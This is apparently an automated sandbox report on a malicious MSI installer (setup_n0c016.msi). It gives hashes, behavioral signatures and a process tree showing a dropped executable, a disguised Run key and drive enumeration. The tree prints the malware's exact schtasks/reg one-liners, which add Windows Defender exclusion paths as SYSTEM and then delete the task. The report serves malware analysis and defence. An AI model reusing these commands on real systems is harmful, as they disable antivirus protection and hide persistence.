Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 07:11
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
setup_n0c016.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
setup_n0c016.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
34 signatures
150 seconds
General
- Target setup_n0c016.msi
- Size 9.2MB
- Sample260804-h1bvsstemg
- SHA256 6427b9d4f3e73d7d9f121d0c56be6abc7b068830762a1441fe25a47c603a2127
- MD5 4a66b8385cdc257ceb961a918d124c96
- SHA1 0ec466284af5657127410a0ddb2fbd0be34daa4a
- SHA512 57b70082fe7ddb13acddc81afde7621cc945a5a2c1be265601d7ec6c78d7d87a5994e204fc50e5b9ce315243cf7bbc2610b6f60a255ad34f5f4a53b0ab7fcb38
- SSDEEP 196608:7QOU69f3K0uihKqNzfPkAeg+QANG0h/fG44XKFMpwPqZbZI6ooQm5j:Nb9f3bU2zUgAA0h/wXKgbsoQm5j
- TLSH T1C5A633887C462336D09BC3B1862762BD3264BFD53B214C07B2D9B72C6DB763261F6646
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\pFECCb = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation lvnBVw.exe - Executes dropped EXE 1 IoCs
pid Process 548 lvnBVw.exe - Loads dropped DLL 2 IoCs
pid Process 316 MsiExec.exe 548 lvnBVw.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\pFECCb\\lvnBVw.exe\"" lvnBVw.exe - Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 15 316 MsiExec.exe 17 316 MsiExec.exe 31 316 MsiExec.exe 33 316 MsiExec.exe 44 316 MsiExec.exe 46 316 MsiExec.exe 66 316 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Z: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 2152 cmd.exe 1692 cmd.exe 3060 cmd.exe 1036 cmd.exe 3012 cmd.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b lvnBVw.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\Installer\e588846.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{B0831565-6686-6851-9C74-E6F739A50195} msiexec.exe File opened for modification C:\Windows\Installer\MSI897E.tmp msiexec.exe File created C:\Windows\Installer\e588848.msi msiexec.exe File created C:\Windows\Installer\e588846.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI8A1B.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 1100 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4232 cmd.exe 4564 cmd.exe 4624 cmd.exe 312 cmd.exe 4908 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000f94cc820840d1c590000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000f94cc8200000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900f94cc820000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1af94cc820000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1df94cc820000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\ProductName = "UNITAT Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059\UuueatYAD msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Version = "84017285" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\PackageName = "setup_n0c016.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\PackageCode = "4709F9D98FA273648AE647DB1DC84AD8" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38 msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3352 schtasks.exe 4444 schtasks.exe 3256 schtasks.exe 3312 schtasks.exe 5024 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3840 msiexec.exe 3840 msiexec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 316 MsiExec.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe 548 lvnBVw.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 664 Process not Found 664 Process not Found 664 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1100 msiexec.exe Token: SeIncreaseQuotaPrivilege 1100 msiexec.exe Token: SeSecurityPrivilege 3840 msiexec.exe Token: SeCreateTokenPrivilege 1100 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1100 msiexec.exe Token: SeLockMemoryPrivilege 1100 msiexec.exe Token: SeIncreaseQuotaPrivilege 1100 msiexec.exe Token: SeMachineAccountPrivilege 1100 msiexec.exe Token: SeTcbPrivilege 1100 msiexec.exe Token: SeSecurityPrivilege 1100 msiexec.exe Token: SeTakeOwnershipPrivilege 1100 msiexec.exe Token: SeLoadDriverPrivilege 1100 msiexec.exe Token: SeSystemProfilePrivilege 1100 msiexec.exe Token: SeSystemtimePrivilege 1100 msiexec.exe Token: SeProfSingleProcessPrivilege 1100 msiexec.exe Token: SeIncBasePriorityPrivilege 1100 msiexec.exe Token: SeCreatePagefilePrivilege 1100 msiexec.exe Token: SeCreatePermanentPrivilege 1100 msiexec.exe Token: SeBackupPrivilege 1100 msiexec.exe Token: SeRestorePrivilege 1100 msiexec.exe Token: SeShutdownPrivilege 1100 msiexec.exe Token: SeDebugPrivilege 1100 msiexec.exe Token: SeAuditPrivilege 1100 msiexec.exe Token: SeSystemEnvironmentPrivilege 1100 msiexec.exe Token: SeChangeNotifyPrivilege 1100 msiexec.exe Token: SeRemoteShutdownPrivilege 1100 msiexec.exe Token: SeUndockPrivilege 1100 msiexec.exe Token: SeSyncAgentPrivilege 1100 msiexec.exe Token: SeEnableDelegationPrivilege 1100 msiexec.exe Token: SeManageVolumePrivilege 1100 msiexec.exe Token: SeImpersonatePrivilege 1100 msiexec.exe Token: SeCreateGlobalPrivilege 1100 msiexec.exe Token: SeBackupPrivilege 2460 vssvc.exe Token: SeRestorePrivilege 2460 vssvc.exe Token: SeAuditPrivilege 2460 vssvc.exe Token: SeBackupPrivilege 3840 msiexec.exe Token: SeRestorePrivilege 3840 msiexec.exe Token: SeRestorePrivilege 3840 msiexec.exe Token: SeTakeOwnershipPrivilege 3840 msiexec.exe Token: SeRestorePrivilege 3840 msiexec.exe Token: SeTakeOwnershipPrivilege 3840 msiexec.exe Token: SeRestorePrivilege 3840 msiexec.exe Token: SeTakeOwnershipPrivilege 3840 msiexec.exe Token: SeBackupPrivilege 3220 srtasks.exe Token: SeRestorePrivilege 3220 srtasks.exe Token: SeSecurityPrivilege 3220 srtasks.exe Token: SeTakeOwnershipPrivilege 3220 srtasks.exe Token: SeBackupPrivilege 3220 srtasks.exe Token: SeRestorePrivilege 3220 srtasks.exe Token: SeSecurityPrivilege 3220 srtasks.exe Token: SeTakeOwnershipPrivilege 3220 srtasks.exe Token: SeRestorePrivilege 3840 msiexec.exe Token: SeTakeOwnershipPrivilege 3840 msiexec.exe Token: SeRestorePrivilege 3840 msiexec.exe Token: SeTakeOwnershipPrivilege 3840 msiexec.exe Token: SeRestorePrivilege 3840 msiexec.exe Token: SeTakeOwnershipPrivilege 3840 msiexec.exe Token: SeRestorePrivilege 3840 msiexec.exe Token: SeTakeOwnershipPrivilege 3840 msiexec.exe Token: SeRestorePrivilege 3840 msiexec.exe Token: SeTakeOwnershipPrivilege 3840 msiexec.exe Token: SeRestorePrivilege 3840 msiexec.exe Token: SeTakeOwnershipPrivilege 3840 msiexec.exe Token: SeRestorePrivilege 3840 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1100 msiexec.exe 1100 msiexec.exe - Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 3840 wrote to memory of 3220 3840 msiexec.exe 93 PID 3840 wrote to memory of 316 3840 msiexec.exe 95 PID 548 wrote to memory of 1036 548 lvnBVw.exe 107 PID 1036 wrote to memory of 5024 1036 cmd.exe 109 PID 1036 wrote to memory of 2372 1036 cmd.exe 110 PID 1036 wrote to memory of 208 1036 cmd.exe 114 PID 4232 wrote to memory of 3328 4232 cmd.exe 116 PID 548 wrote to memory of 3012 548 lvnBVw.exe 118 PID 3012 wrote to memory of 3352 3012 cmd.exe 120 PID 3012 wrote to memory of 4744 3012 cmd.exe 121 PID 3012 wrote to memory of 2976 3012 cmd.exe 123 PID 4564 wrote to memory of 2116 4564 cmd.exe 125 PID 548 wrote to memory of 2152 548 lvnBVw.exe 126 PID 2152 wrote to memory of 4444 2152 cmd.exe 128 PID 2152 wrote to memory of 2452 2152 cmd.exe 129 PID 2152 wrote to memory of 1380 2152 cmd.exe 132 PID 4624 wrote to memory of 4336 4624 cmd.exe 133 PID 548 wrote to memory of 1692 548 lvnBVw.exe 134 PID 1692 wrote to memory of 3256 1692 cmd.exe 136 PID 1692 wrote to memory of 2652 1692 cmd.exe 137 PID 1692 wrote to memory of 2928 1692 cmd.exe 140 PID 312 wrote to memory of 1356 312 cmd.exe 141 PID 548 wrote to memory of 3060 548 lvnBVw.exe 142 PID 3060 wrote to memory of 3312 3060 cmd.exe 144 PID 3060 wrote to memory of 2364 3060 cmd.exe 145 PID 3060 wrote to memory of 3908 3060 cmd.exe 147 PID 4908 wrote to memory of 2484 4908 cmd.exe 149 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setup_n0c016.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1100
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3840 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:3220
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 1CDF1CF82A0B77E356B31EE6470A9D2C E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:316
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2460
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C:\Users\Public\pFECCb\lvnBVw.exeC:\Users\Public\pFECCb\lvnBVw.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:548 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\pFECCb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1036 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\pFECCb\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5024
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2372
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:208
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3352
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4744
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2976
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2152 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4444
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2452
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1380
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1692 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3256
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2652
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2928
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3060 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3312
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2364
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3908
